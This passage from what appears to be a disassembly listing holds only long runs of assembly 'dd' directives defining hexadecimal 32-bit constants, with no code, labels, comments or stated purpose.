		dd 0F426A4DEh, 0BEE340A1h, 0E68AEE23h, 0D5A50EADh, 0BFA02E67h
		dd 5AECCA99h, 110BD49h,	0D4D874E8h, 0AEF8AF11h,	71F0038h
		dd 0EA6BA21Eh, 4703E2F8h, 0BD332941h, 3EC80063h, 0BB554321h
		dd 424BAB95h, 0C7006CACh, 0A3A79E62h, 22EAFEA2h, 0B90FF800h
		dd 6E0255C6h, 10691CADh, 5D3CCFE0h, 75D4DBA0h, 0DA00A66Ah
		dd 4C2F40B8h, 1A0CE57h,	0E73EBF47h, 0F02E2109h,	500E960h
		dd 742E130h, 3F997439h,	0D583A6BAh, 0BF13883Ch,	0E687ECF0h
		dd 75828A00h, 0E7C8CE63h, 2C970E5Eh, 5661FF4Eh,	0C81F51C4h
		dd 670F6096h, 62D05772h, 44076E59h, 0FA312010h,	1BF44F00h
		dd 693A33CCh, 54760180h, 0EFFF9344h, 2014200Dh,	0C3B01D12h
		dd 460014A8h, 9626E2FCh, 0D5141E0Ch, 180892Ch, 3913986Bh
		dd 5E8082C9h, 0AE120C1Bh, 2D044920h, 42BD3E7Ah,	6A370480h
		dd 2C1A00FEh, 0D93AAFDEh, 470E46BCh, 0C05CF7ADh, 0D064B9E0h
		dd 0BEB10086h, 0ABC0C4CFh, 780EFD08h, 0AC4536B4h, 0FA88F9h
		dd 0EC28B0E3h, 0FE1D7525h, 0D73E2C1Fh, 7290E4Eh, 64C70C45h
		dd 5226D470h, 1B7D0FCBh, 773D7C0h, 34BC3E06h, 578EC1FBh
		dd 0DED9F8C7h, 0B0744900h, 718AE44Bh, 0A8F064h,	5DA2DA56h
		dd 95F0329h, 1D54D138h,	0BB897ACEh, 941880A1h, 8F1DD9h
		dd 573CFFEFh, 0C1D07DB4h, 1CBB4301h, 2EB355DBh,	7116C8D4h
		dd 0B200F44h, 998119FAh, 0FC8E4E07h, 11986BCAh,	300F876h
		dd 0B3B53A9Ch, 332C21Ah, 0D131EFF1h, 9800B95Fh,	0AB8F15E1h
		dd 4C220B91h, 0E202BBFDh, 41429C6Eh, 8ECB9380h,	5800687Ch
		dd 0A748B2CFh, 3EE18D0Fh, 0D50E562Dh, 0EEC0D4DFh, 307D4F12h
		dd 0C4413101h, 945E0E01h, 93FE30h, 0A5C934DBh, 7447CE1Eh
		dd 2E002973h, 0B888630Dh, 0E905060h, 0C706282Bh, 0BC8E80DEh
		dd 0A1DAD8Bh, 8AA63300h, 21392C5h, 0C99C008Ch, 96669F45h
		dd 0BD0012C7h, 296A97EFh, 9EF3AAh, 9C7ED5A8h, 0C16916FAh
		dd 967CBD01h, 559B906Eh, 78570h, 4574BB70h, 3A0EE8B7h
		dd 0B6014C98h, 63A02F10h, 25FC6C8Dh, 119F0555h,	9DD99FEh
		dd 47808AFEh, 577BBB7Ch, 649BFB00h, 0F7C341A3h,	0E8120047h
		dd 0D7B36506h, 0BF00CDAAh, 3EC6EEF5h, 3A78E05h,	6DE7F230h
		dd 8788855Dh, 6C003813h, 4F4843E5h, 5B7493h, 7A169C79h
		dd 0F4688F4Ah, 9B9FF807h, 51C326E4h, 3E30B8D4h,	1E9276E3h
		dd 402A6704h, 6C1C543Fh, 0F700A7D3h, 0CBA5FADh,	90CD4BC7h
		dd 8BCB003Fh, 34865370h, 0B2F2C508h, 0ED10E900h, 406F2169h
		dd 9C9A00CFh, 0D0BEC0D9h, 2600F4B9h, 274C9443h,	0EE518Fh
		dd 18C319F2h, 2FAAD65Fh, 2D0FB700h, 74A986C6h, 53350020h
		dd 9638E7F7h, 0B303ABECh, 1403AA8Ch, 5181A8B4h,	1F6030E4h
		dd 0E5218A28h, 249BB11Ch, 2A8F3EC0h, 7140ED98h,	87360705h
		dd 0C030F5CEh, 0E1069F62h, 1FEAAA3Eh, 0EE407FABh, 6F1CD168h
		dd 0E78400F8h, 225C2101h, 66003F87h, 2590062Ah,	378F57Bh
		dd 0E2A58C19h, 4800B31Eh, 7788EEA4h, 20EA966h, 3881D0ECh
		dd 3C4029BAh, 0A000D747h, 93CCB34Ch, 7D11E078h,	148D3208h
		dd 540844Ch, 0AD00BEFBh, 8E0C6B85h, 3CE2CAh, 6592764Bh
		dd 99BA6D6Ah, 9A0C3F72h, 78ADB589h, 2583299Dh, 0A41F606Ch
		dd 47004275h, 1A15E850h, 0DE01CBh, 1B094B8Ah, 75631955h
		dd 69E2DF00h, 1745E5A1h, 876200FAh, 0E1F00307h,	34009E13h
		dd 0C2BC55D3h, 50294h, 0EC375AC7h, 13DFC35Ch, 996F0300h
		dd 0B4314246h, 0A620003Ah, 63BED5CBh, 700F08Ah,	657032E9h
		dd 0D8C83Dh, 48039D5Ch,	2A542864h, 670AEF03h, 2580EAh
		dd 0D16E0810h, 4096473Bh, 523ABC2Eh, 0E0E27832h, 12F76374h
		dd 0AEB6F1h, 67B26ACCh
		dd 0CFCFF76h, 25C9DE00h, 1084885Ah, 83F60009h, 40592BC3h
		dd 0AC034B8Dh, 0CBF53742h, 0C86FA046h, 3EC70207h, 31A8980Ch
		dd 6B8ABFE0h, 0DFCE2207h, 2A806FABh, 7343FC5h, 9362D16Ch
		dd 0C25B204Eh, 700B2CCh, 8FBBABF3h, 17CA75Eh, 25F94B21h
		dd 0E4B88E46h, 7600A9B7h, 867F930Fh, 736792CAh,	32E700D8h
		dd 8FA04B9Ch, 3E98D2B8h, 0D5465300h, 5E43F761h,	0E2EC72h
		dd 41D019Eh, 4F1345B1h,	0F2D3AB0Eh, 0A27A47A8h,	0ECBA33C1h
		dd 4CF1ADF4h, 0CA008D78h, 61DABFC3h, 0E4904EB7h, 0ABCF3600h
		dd 0E62649D8h, 1B2100E7h, 356C66Fh, 8200325Ch, 0C997E5F0h
		dd 0A17AAAh, 0AF8530F9h, 354817DBh, 0E7EC1002h,	68622194h
		dd 995FA4h, 9209EF6Ah, 7A358119h, 7C8EF43Dh, 9A9EE400h
		dd 71A8F78Bh, 68E100C2h, 3BD0C687h, 4103BEF2h, 0AEE8E62Ah
		dd 0EAD1D046h, 480677C3h, 0D5005CA9h, 0B68B2AEDh, 0BF003814h
		dd 266A6E27h, 61B469h, 5423EAC6h, 0B9B68373h, 0D302157Ah
		dd 60F9D12Ch, 0B5DC80A1h, 3C2980F6h, 4A82971Ch,	0E34281D4h
		dd 5D25860h, 923D660Eh,	0A2C02EB0h, 4085245Ah, 0F600D24h
		dd 1273C294h, 0D02A0AE3h, 80C8C3C9h, 0C79D8958h, 754A536h
		dd 82E91680h, 2BA49098h, 7D009FE5h, 0DA71D544h,	7ACC0CEh
		dd 8AA839FFh, 5634F00Dh, 4407D9C1h, 90686C8h, 68B8C920h
		dd 2F121EB5h, 2E4C40E2h, 0EBB474FEh, 9148AC00h,	6438C3D2h
		dd 0AA3500A2h, 730CB9E4h, 6700D387h, 0A15B2F27h, 0E5B798h
		dd 0A3F9C18Ah, 0F44244B2h, 5EDD1C12h, 1D3E9800h, 7DFC8129h
		dd 0BBD6003Bh, 0AF512A4Fh, 59007FCCh, 0D4F4ECF3h, 3EC337ACh
		dd 0C889CDB5h, 33801EA0h, 0DCAB38Ah, 0ECA980C0h, 0F61554BDh
		dd 0E913166Fh, 0A4404565h, 0ABBC209Eh, 4898E229h, 8DE10B0Ch
		dd 4837E0BAh, 7C009D24h, 92E91F9Ch, 0E0A0976Ah,	78012AF4h
		dd 0D45DF21Eh, 0CD8E1DCh, 81A20022h, 7724C5F7h,	0B009A83h
		dd 642931DAh, 712A81Dh,	333438ECh, 0A1FA80AAh, 581CFF57h
		dd 0E0804EDAh, 11068CA8h, 701F4C53h, 0DB2E2403h, 84805C93h
		dd 12008744h, 0E1AB56BAh, 0D65DDDh, 8066BC6Dh, 3014A56Ch
		dd 18E4C402h, 8501DA1Ah, 0D687A7A4h, 722993F1h,	6BCD5861h
		dd 73F5D8h, 5DE5395Bh, 51201C7Ah, 6DCB6400h, 9CC3A7B3h
		dd 0F2570040h, 314D0A4Ah, 79045F7Ch, 0DCD8EC3Ah, 633D7880h
		dd 6F1D8CC5h, 0D2417AC1h, 59E6A4DDh, 852B409Fh,	1C7B0EB3h
		dd 2A2E419Ch, 32AC8EE7h, 6E029288h, 608F22E8h, 0FDA268h
		dd 5D8E6D35h, 32481333h, 524C73F8h, 0E0B80088h,	3C2129E5h
		dd 0B3E72442h, 0DF660F10h, 0DB8CF260h, 34001FB6h, 1E07F8FAh
		dd 7714E076h, 3C17097Bh, 0CC824353h, 74448BE2h,	329FCE00h
		dd 2A16A612h, 88C62E91h, 63B300B0h, 0EC0C134Eh,	986EB900h
		dd 0AF40DE7Ah, 0B3C04CD4h, 0E21C8407h, 81F1D0E8h, 70012A53h
		dd 40E4BBE1h, 7DD062C1h, 447A1DF4h, 67960027h, 0CEA1DB02h
		dd 15EC8800h, 46B1C273h, 0BE4D00F8h, 0F03A542Fh, 284C427Bh
		dd 91A3D46h, 0AD7CB8h, 0E5DDB58Ch, 0D894005Ch, 0FDA1087Eh
		dd 0AF003997h, 4469A7DCh, 73B9E1h, 77545259h, 16B647C8h
		dd 4128C403h, 0E2D9CE26h, 9F2A6358h, 1D50A1B0h,	0E5A900C5h
		dd 93EE5752h, 46012C95h, 47182EFDh, 0DBCC85FCh,	6D0100C8h
		dd 0E71D75ECh, 6C001188h, 2F3E8ED4h, 121B3FB9h,	907D34D3h
		dd 1C072E4Ch, 0CD86F600h, 0B79E5090h, 36B75F8h,	55D5BE80h
		dd 8B98624Ah, 1006921h,	0F998C4C1h, 58432ADFh, 0BD00F813h
		dd 0F5AE0B32h, 23001F88h, 0E3419DF6h, 0E09914A7h, 95E0BBh
		dd 0A14E12DAh, 5D7EEC5Ch, 2D034577h, 0A9037AA5h, 915FD8B2h
		dd 4C6A0041h, 16D4E9DFh, 90FCDB7h, 7470E5h, 92620C1Ch
		dd 214B2B8h, 177D673Eh,	0F080108Ch, 35B1EB4Ah, 1D1D7BF2h
		dd 3ADD2A3Ch, 4E61EE80h, 20DAE6h, 77A30A14h, 4B087642h
		dd 0D7B10300h, 2B862E67h, 0E65A0C75h, 0B2612943h, 3A1ACB12h
		dd 50FA4403h, 5E81EF9Ah, 0A0D8FDB1h, 106050A7h,	269801ACh
		dd 0B162D228h, 5828805Bh, 0E8BFE75Ah, 550C0AAh,	2604CF32h
		dd 7187E0EBh, 98124000h, 894E4219h, 1DFC0F39h, 750629BBh
		dd 3E0C2947h, 404DD59Dh, 5CFA005Ah, 3CFBA1A8h, 0ABEE155Bh
		dd 67547D03h, 319023Dh,	851B018h, 0DA038216h, 0C98C64BEh
		dd 4C6802BBh, 0DC34C791h, 0E7C34480h, 3700A0AAh, 7B41909h
		dd 159AFB0Ah, 706BA7A1h, 28258104h, 34BB01EAh, 0B8C00F84h
		dd 0BE2F02D7h, 0AB57EBE3h, 0E5114B40h, 0FE9E3Dh, 5F22B928h
		dd 1F501DA1h, 414F7EE4h, 0BAB13B1Fh, 4C23095h, 18B44C3Ah
		dd 65F10576h, 0C8EC0CDDh, 82D0E179h, 0B47109C6h, 15450020h
		dd 81632DECh, 551DD070h, 7D40F3F6h, 3E2FD932h, 0BA9A06ABh
		dd 616EA2AAh, 0EA2E6246h, 4979053Bh, 6E3048FAh,	0EC024280h
		dd 70AFC5FEh, 68E2004Fh, 0B58A0436h, 49C34149h,	0F0E7D7C1h
		dd 320365h, 749C99BCh, 0DAAB4721h, 2FDC61Ch, 3DC3B95h
		dd 465D76B9h, 0AE20101Ch, 6B916EC9h, 20628367h,	251102ADh
		dd 5BAF8360h, 3329C040h, 0B9085A66h, 79DF0021h,	6F20D283h
		dd 4D2A0441h, 0B40CD41Ch, 0F8ECFDAAh, 557A387Bh, 0F8AB3D81h
		dd 48F692B3h, 58C4D88h,	79CEEC03h, 19B86111h, 0DB670306h
		dd 0B880B8ECh, 56930AF8h, 0DC247153h, 321468B0h, 3ED40DC1h
		dd 2E140351h, 0C03F0525h, 31C83B4h, 10045492h, 70C957DAh
		dd 7D97D411h, 0C4A1CE06h, 1F3ED879h, 8072CC1Fh,	0A63F9DC3h
		dd 80B00A01h, 45E8875Bh, 7405007Dh, 22AFF48Eh, 0EF004689h
		dd 50FD856Ah, 2EE12712h, 7E1C7E6h, 101F52F4h, 7E36FBD4h
		dd 6814C907h, 0BF503DF8h, 0F87B2AEAh, 6EBA0090h, 85BCA077h
		dd 0AF014527h, 9A1D127Ch, 0E920464Ah, 1C10080h,	11917D72h
		dd 6600258Ah, 22D04F48h, 7282CCD3h, 48E0038h, 47D11AFFh
		dd 0C660E364h, 17F1CE10h, 5DE60F10h, 54A3E98Bh,	1E884ABFh
		dd 2E0091DEh, 93814F23h, 4B1A70h, 0D5C5CE07h, 0B526711Ch
		dd 99D01F26h, 0AA07301Fh, 75506C9Eh, 0E92434h, 0CCD4467Ch
		dd 4AD01380h, 0F11C647Ch, 5100F29Eh, 0EFA62CB7h, 0EEC50748h
		dd 1115FFCh, 0D4879750h, 337260AEh, 0D8328400h,	39527C51h
		dd 6690004Bh, 0C3F971A6h, 0E475DD49h, 762AA800h, 0F1725DDEh
		dd 339800AFh, 0DDBDE219h, 0F3074486h, 2C31904Ah, 0D21C031Bh
		dd 0E953D8C3h, 18D4A093h, 0CA73B6h, 0ED1D165Bh,	0C90E2CCh
		dd 313C6000h, 631B7D2Bh, 37F00A82h, 399C8D48h, 0F4AEE600h
		dd 0D467A22Fh, 8B08D80Ah, 8003B8C9h, 0C8EDEE70h, 0F4B09h
		dd 0B8939E24h, 1A589474h, 0BD0E9702h, 5548C661h, 81A3CBC3h
		dd 0C2CC2AB8h, 6AA2FD00h, 0D4E6DF16h, 0E522000Eh, 438957B0h
		dd 0ED0002A4h, 104E8FDCh, 3359F29h, 2AB3DB52h, 700005E2h
		dd 0CCE99CB7h, 0FA47AD44h, 1479C5h, 0EA7012E3h,	33CF5461h
		dd 7C853200h, 0A8013425h, 73DA006Dh, 0BAAC8991h, 0EC001852h
		dd 1C8568FCh, 9298BBh, 90AF5BC6h, 6EA89F2Dh, 0FE9CED2Dh
		dd 0E07501FFh, 0C0F806A4h, 4200F9FEh, 94B38AB1h, 1F6BAE8Ch
		dd 0C0F42433h, 0ADC7C652h, 410AABD9h, 809B8F28h, 0BD44801Fh
		dd 68800820h, 3BD6951Fh, 0BB801168h, 0E3C5F675h, 25009E04h
		dd 97867823h, 2D345h, 55C7DF1Bh, 0FA01C4D2h, 6107AD70h
		dd 63D611A9h, 48B8A8B6h, 810C67F4h, 70066E85h, 54CE1907h
		dd 25C38FA7h, 355AF8D7h
		dd 0A4390065h, 0A64103B6h, 492169Dh, 20208B24h,	0C7584580h
		dd 80D593E5h, 5C89C2EFh, 0EF60F3E5h, 7D00053h, 0CAF7CD9Fh
		dd 0E21C6C80h, 1D400E37h, 49DBBBE0h, 387400B7h,	0DD9A0F6Eh
		dd 0A0005304h, 0A8DA1C78h, 0AA9617h, 26E6FE10h,	3C88A412h
		dd 3994DF00h, 0ED1F0F04h, 0A54400F7h, 0BC30771Ch, 16001BF3h
		dd 0E4D2AD0Ah, 7ED5DDFh, 0ACFC2242h, 7779E06Bh,	2100EAA3h
		dd 0D8FD75B2h, 1F68D9D1h, 801A01D3h, 0CF57ACADh, 90065CEh
		dd 7F0FC88Dh, 7C7CC2E1h, 0E2B63A1Dh, 890C92h, 86C00BACh
		dd 9F1C27B3h, 202E64Ah,	40D148D5h, 70F28D9h, 0E392BFB5h
		dd 4C45A19Bh, 44A0C4EEh, 69E5FC00h, 0F41DF6EFh,	3FDC0FB8h
		dd 0EC20C625h, 0D8E4B79h, 54FF0300h, 0FCABE3C8h, 7D1A003Eh
		dd 7653CACh, 0EC00CA9Bh, 0D5569E8Fh, 3AE14C90h,	0D80E066h
		dd 7F79B371h, 0C100FE7Dh, 0A75CC0AEh, 1E45A3DAh, 8048DB06h
		dd 75CBFAD3h, 0C900A9FBh, 0EB721D27h, 94F9CE6h,	0BCB5ECB9h
		dd 95A0180Eh, 0AA4663FDh, 69032BE6h, 1DACBD20h,	0BC5B90D0h
		dd 0F9874C0Ch, 480CD00h, 0F995CEBEh, 0F4C85E05h, 0FC00B9A4h
		dd 0D74457B2h, 7668024Ch, 75C14514h, 94F07063h,	0C0032881h
		dd 6FFFE9D4h, 3D1801C5h, 3CD6331Eh, 958887BAh, 0F6D08F19h
		dd 983BD11Bh, 80644C0Bh, 4AB60071h, 0F8CB6DAAh,	2600F541h
		dd 3F0C3C72h, 268A2E2h,	83236018h, 0E9610B96h, 3BD020DEh
		dd 1007448h, 0F6CCAC88h, 2C20E208h, 0FFCCF3BEh,	10F960FCh
		dd 0EA6A8C9Ah, 0F5C7044h, 0EFCDE956h, 619C4800h, 99485F3Ch
		dd 36EC00F2h, 2E428208h, 5ED008Ch, 4ACA4D45h, 6800CB3Eh
		dd 0DB19E3D6h, 1DF435DAh, 0C77CFD6Eh, 0F193AAE5h, 0EF8CBE8Dh
		dd 0FB4877B0h, 890F0300h, 0FE186D19h, 327F3AC4h, 5DD6721Ch
		dd 0E21FC07Ah, 0CC6BBB4Eh, 10E8FD00h, 8A3CD1FFh, 3E220085h
		dd 0F336B45Bh, 4502157Fh, 53E8EB48h, 0EE63E03Fh, 0A698005Eh
		dd 49B63525h, 30E5F88Ah, 31007D59h, 5829AE75h, 0BEA54h
		dd 4171DD30h, 21CB0894h, 79C11D02h, 4131CA6Dh, 48CC0DD1h
		dd 746500F5h, 0CEB3D78Ah, 9CE83C0Eh, 0BC016BB0h, 28915ED5h
		dd 21F035B8h, 0EFEE017Ch, 6692EAADh, 9C74C88Ah,	8ED1FE3Dh
		dd 132BE265h, 7AB55405h, 9522D200h, 30C0BB1h, 69D737A3h
		dd 57EF205Ah, 8DA2532Bh, 0E82C8A90h, 54884100h,	0E0A30A77h
		dd 669C003Bh, 55C43A5Eh, 124CBF4Bh, 9BF518ABh, 4ED4718h
		dd 56AE4298h, 0D4DC80A8h, 2B074AF7h, 0D6ECEE8Ch, 5E158860h
		dd 1FE63877h, 0B23D205h, 9811C0BCh, 0DD00C368h,	0AACB5A67h
		dd 0F59D12h, 0CA928FB0h, 0FD5C409Fh, 9E58C00h, 345E91F8h
		dd 0FCB200EAh, 0EB21A06Bh, 792671D2h, 3B839CC4h, 0A717CAB0h
		dd 0B44EA070h, 6C246050h, 0A4595C81h, 0D9308F00h, 0A968A3D6h
		dd 85C4015Fh, 0FDDE8647h, 382CC809h, 0EA882050h, 6CC5D000h
		dd 0CB77784Dh, 6B480088h, 60B32CA4h, 0F090BCC3h, 0C8D80F0Eh
		dd 0AFDE865Bh, 0FD785810h, 3D940505h, 0C1DCD7A8h, 65EAA717h
		dd 0E8BFF520h, 3700650Fh, 0CAF01EB1h, 5990BEh, 301ACC66h
		dd 3F08A751h, 42B91000h, 8BE9A650h, 5C0300C0h, 0BE903C02h
		dd 0FB703E97h, 0FFEBEC03h, 0A82888E8h, 604E4B0Ah, 0C9689917h
		dd 0A02A7887h, 830F448Ah, 7D6B735h, 84B614F9h, 0D8670011h
		dd 0C7965F7Eh, 0D0795983h, 3887D330h, 54F00592h, 3DB4CCh
		dd 5053E7D9h, 4EC2E8B9h, 2908EE1Eh, 0CE6721B1h,	5E071C40h
		dd 795900C7h, 0AB1CCD47h, 70009DDAh, 0B8827249h, 790BB3Ah
		dd 0E9770817h, 0B0BAC796h, 6CD244B5h, 0FCAF0500h, 871E3ACCh
		dd 0E05C001Ch, 0C2E25FEEh, 6F0064A6h, 1520E7CBh, 25B1B3h
		dd 1B69E63Ch, 0C8B6F8B4h, 0DBD59D0Eh, 5E4260F0h, 5B2322h
		dd 0A40ED7CDh, 0BAFE654Fh, 0E20B8A77h, 0EBC0FCh, 0BC0156A2h
		dd 3F72735Fh, 6C0F3A82h, 6483F64Ch, 17B845F1h, 26007F52h
		dd 9373CEBFh, 0F3974ACh, 616224A7h, 8B446920h, 0CF007280h
		dd 0CE9CAD2h, 7CBA3565h, 5440EC48h, 0FACDC88Dh,	0F719C491h
		dd 66350007h, 365DDD0h,	0E881137Ch, 31749203h, 0F6395D00h
		dd 95B121B8h, 0CAED1F63h, 0B9FA0102h, 80EEEC17h, 0A84ED429h
		dd 7BE597Fh, 0A60591C7h, 0AE7BC32Ch, 0BFC52000h, 0C27144A8h
		dd 391BB8FBh, 0FD005915h, 8B673178h, 82129321h,	5C41E7A8h
		dd 0BBD4EB8Fh, 33B127F8h, 0A4096687h, 46F210Fh,	3415A0D7h
		dd 306A3299h, 4FA8C28Ah, 5E40F10Eh, 9320319Ch, 80BBFC68h
		dd 0E95380F8h, 91AE397h, 20C1CE8Fh, 4E2CFB80h, 0BC001681h
		dd 8366AE4Ah, 0E1278Ah,	0E4AAEF26h, 0FDA8CBCCh,	0AEB48007h
		dd 1EC0D376h, 0B8E795C0h, 0F5FC1DDEh, 90CA403Dh, 23713C37h
		dd 0CBE62F00h, 3581E264h, 0C9620756h, 30C7CABCh, 8DE9CC3Eh
		dd 49242318h, 2C9230h, 0E89536DBh, 76DCE6C7h, 0FDF86A1Dh
		dd 0A61DB900h, 7EA2C537h, 0F2743E94h, 0CB130403h, 0AEE88C08h
		dd 7A3D350Bh, 5F50012h,	0D7B4843Ah, 5B07EB6h, 0E310549Bh
		dd 18801898h, 96F44CA5h, 0A6224E70h, 6ABF0095h,	0FC9479A3h
		dd 103DFBDh, 81AC3C12h,	3B8A8054h, 0AE53008Ch, 0DA036E31h
		dd 5000CDA4h, 7CCBBB30h, 0C31162h, 48E7351Fh, 0A1026DFCh
		dd 0DBE0CE00h, 0D0160939h, 3C04E84Ch, 0DA3E8166h, 0F6F2FF3Eh
		dd 0E5471383h, 0F77A0058h, 72093A94h, 2838F130h, 261151h
		dd 6EAF48CAh, 96C2B0EFh, 246AA601h, 8EC5B32Bh, 3D3208D8h
		dd 0FD803341h, 0E161E5F3h, 4AE6A3EAh, 0B00BA43Fh, 6B602017h
		dd 0E19765Ah, 0C5E291E7h, 5F38E540h, 150EFD1Bh,	43068758h
		dd 72DE5961h, 4DB70040h, 856C868h, 1D1D7CD7h, 9080AC22h
		dd 8B4CB0A2h, 77573DCh,	151187CFh, 9EE1C335h, 0E37447C0h
		dd 59B9C9C0h, 50B39Bh, 3311F80Bh, 0AD447E30h, 4C607302h
		dd 60080D88h, 6893923h,	0A32F8E70h, 103010DFh, 0C1AB1E2Dh
		dd 99822CACh, 0EC0C0173h, 50354158h, 19612FA8h,	83C46000h
		dd 2B181A89h, 15E639F7h, 0EF7ACE00h, 693ED2BBh,	1C8A2A00h
		dd 42B4B83Ah, 34E600F6h, 0C4247FBEh, 0A1007CBCh, 0F836124Bh
		dd 1774130h, 84B9B617h,	20FC8573h, 28032939h, 72B44234h
		dd 5F67A82Ch, 788B13BDh, 51DB0054h, 0DB176B98h,	0E657E200h
		dd 15FF19E7h, 5428A167h, 30467030h, 0CA1123C0h,	5FF6F11Fh
		dd 9F4D1806h, 60081BFAh, 4AA21FFh, 60083F1h, 353E7E6Bh
		dd 5C158911h, 0E033D495h, 7FC0B278h, 4103680Dh,	0EE3F7B98h
		dd 0B80BE340h, 0E6B0CC54h, 5617036Ah, 2B14D2BAh, 32DB04B0h
		dd 7F085F63h, 71B8009Bh, 0DDBAD112h, 2D6001F2h,	73F66A80h
		dd 0C6C50077h, 0C92CFA09h, 0B414BE25h, 8C6CB3h,	0DD44A68h
		dd 34169C5h, 71551779h,	0F83F0AE7h, 2BA8004Ch, 51D71FADh
		dd 0CFDD008Fh, 0DAFDB5B2h, 0ED0318DCh, 0A9FFE0DFh, 6FE2F887h
		dd 0D0FA0FC5h, 86C021BEh, 6664B009h, 832C633Ch,	59685D3Eh
		dd 0AA6BF8D5h, 0A2E51E8Dh, 0C8D480A0h, 0CF965CECh, 9900D7E8h
		dd 32787FF4h, 3D171F4Fh, 19BA56D5h, 20ED1D18h, 78024B87h
		dd 13D4C0FEh, 2371407Ah, 0B0480138h, 6CD25BAh, 3A2BF0CBh
		dd 0D499CF07h, 5A218F0Bh, 1487A4FDh, 0E635F76Dh, 7A002122h
		dd 0D82A0B67h, 3C56F4A0h, 0E396DCEh, 8AED6287h,	0D2C0FFFEh
		dd 0B39EC1ECh, 0B9E43Ah, 5FB7EBD4h, 3F8C70Eh, 5A90EF3Dh
		dd 53A2F19Ah, 0E47B820h, 0F33B1832h, 8451E1CCh,	87CB6A00h
		dd 306C38FEh, 0D44E18E5h
		dd 0AC1B21D2h, 45BCBB0Eh, 0D1244CFDh, 90728C4Bh, 5BA1B911h
		dd 2D802188h, 0EE520B86h, 8F7F97BFh, 6CC3614Ch,	7883D742h
		dd 0E5A3EF5Ch, 0B801707Dh, 0A1D3A08Ah, 20B1CC6Ah, 0CE3DEE8h
		dd 0C60E085Ch, 3BC225F8h, 44A50099h, 28001C0Eh,	7182E278h
		dd 1833C66Eh, 0C0F64385h, 64FCA5BEh, 8B6FD0A0h,	92EA6370h
		dd 74661600h, 2B889D13h, 8D810119h, 251BA7B5h, 5595609Bh
		dd 0B1FD600h, 26058607h, 0C4432E52h, 0ECF8013Fh, 0F0D3D46Fh
		dd 0E100E975h, 63EFB528h, 0E27F8Eh, 26E67E38h, 0A02D2456h
		dd 0C91E3B00h, 0E8F236CAh, 0B49100C5h, 0D3285B46h, 0FD7C8C2Fh
		dd 2900D00h, 265D34FEh,	0A988017Eh, 0A5F4DBB7h,	4DDD303Bh
		dd 38C0CD72h, 8F849495h, 76A7A63h, 0BDDA82F6h, 21B84FF0h
		dd 9400EF22h, 0E95EA921h, 0AF0912h, 43D29BCAh, 75A13BA4h
		dd 0D7EF1500h, 60BCFCFFh, 0EA881846h, 0FA41404Bh, 0BCA650Bh
		dd 5200008Ah, 7A39A724h, 514D00F8h, 0F44CBCE8h,	40668A6Bh
		dd 7796050h, 0D90B8134h, 0C84A96CFh, 0F5E19C07h, 7FC1BCEBh
		dd 68427465h, 0E78032A2h, 0F8656BB8h, 210068AEh, 0A08894EEh
		dd 5E0B5Ah, 0BDDF0C7Ah,	7F0A4145h, 58F59130h, 12B78125h
		dd 0DAB0DDh, 0CD9D3476h, 0A000E986h, 5DC5EF6Dh,	38FF52Eh
		dd 17DBDDDEh, 688D252h,	8C00756Ah, 0ED024DD9h, 1C369Dh
		dd 1362FC1Bh, 0C253A43h, 4C908600h, 46DE02C2h, 2ACD3CE3h
		dd 0B61CCA80h, 9777CB3Fh, 7214DC00h, 0B0BD08F7h, 0C90300C1h
		dd 8CAFD08Dh, 0B300843Fh, 5AD985EBh, 6ED9D46h, 20236533h
		dd 0B93986DAh, 2943003Dh, 44FC073Bh, 49BB00B8h,	0F49CFD5Eh
		dd 0AE007015h, 0CA8EBB1h, 432F19h, 6DF6CF6Eh, 9FB51EE5h
		dd 0E317F000h, 0FF2920A8h, 130F023h, 0ECB9FB08h, 9C21799Eh
		dd 47C038D9h, 0BB611F45h, 4985005Bh, 0C31C9636h, 0D5000A9Dh
		dd 6E3FD9DEh, 2E6311E0h, 41D701h, 0FDB6DC13h, 0C20F361Ch
		dd 0F30BFC9Eh, 0FA842400h, 0E6F2B8ADh, 0A2D800D5h, 0D7E1240Eh
		dd 9101A9CDh, 1557FED1h, 1CCCB42Ch, 19920005h, 0D73F8503h
		dd 0B2036FBAh, 0AC44D64Ah, 17DD81D5h, 0CD8740BFh, 46E6A6h
		dd 514BF17Ah, 0F2161500h, 2F9A3327h, 0D81A006Eh, 39AA23ABh
		dd 90073B6h, 0B4975A81h, 1B044F8h, 669FE568h, 40CE3C70h
		dd 89E2F1DCh, 8E034600h, 8B0018Bh, 0EEEEC5h, 3AFA7ED0h
		dd 6A1131F0h, 0AC0078EEh, 4780A868h, 71A423CAh,	254102FDh
		dd 6036AB86h, 71D7D783h, 40116CD0h, 0EBAA800h, 98962995h
		dd 0F25300B2h, 0D8854873h, 0AE7381FFh, 3C7D1D00h, 0EBC4D393h
		dd 0EADC07ECh, 0A07F65C0h, 34CE4452h, 5C70C7FEh, 48694900h
		dd 0BCCA79Bh, 54DA00B7h, 3A94C51Bh, 0ED769299h,	0D5AE5105h
		dd 0BC4067BFh, 0E490D962h, 29995850h, 2FB2E600h, 88FB1864h
		dd 0D7136900h, 804C9C11h, 0A0E000E2h, 4CCEEFEh,	69034EB1h
		dd 0EFEBDC6Fh, 7D60FFFBh, 3BB38Fh, 0C2508C38h, 4EE4283Ch
		dd 2EAE0203h, 0D041792Dh, 1FBF7853h, 40455F04h,	0F1C7522Ah
		dd 9100A1FFh, 35811D05h, 76914FCh, 0E9AD7A82h, 0C66160EBh
		dd 926AD37Dh, 1C14CC8Ah, 309BC7C4h, 0BE82800Bh,	3FD4ACh
		dd 0BB42AB51h, 0CCCE76D9h, 0CF8FB600h, 4B06637Ah, 0BDF290h
		dd 0E82620ADh, 0D2CBA88Ch, 0F1B9CA0Fh, 0FCE56078h, 0ED984h
		dd 93744F3Ah, 0DA5387DCh, 1840EC00h, 7F9F8C07h,	0DBE8005Ah
		dd 567BB0A3h, 55098313h, 0E2D76FFh, 17D94470h, 0A7CDB000h
		dd 0D30FB4BBh, 6048267Eh, 34422716h, 979B0073h,	681277EAh
		dd 1400804Eh, 0D81E1DABh, 942425h, 20C8B3DCh, 587CC199h
		dd 80A1363Bh, 0EED87A42h, 0A66067h, 30A9E0B9h, 13CF4B89h
		dd 1FCC6300h, 0D8C13DA1h, 55B602B5h, 0E8141D07h, 0DEEE9C40h
		dd 0CE578801h, 0C3D2D3ACh, 7E39C4h, 0EC1F8131h,	4EF4E4EFh
		dd 220053E4h, 2C0EB964h, 0DE1109h, 0C138AB87h, 60624AF6h
		dd 14EF4F12h, 0E0071441h, 1C8D217h, 576C0046h, 3262A25Ch
		dd 0EB001D90h, 0B655F06Eh, 0A4929Fh, 0A25E1C05h, 0AF254535h
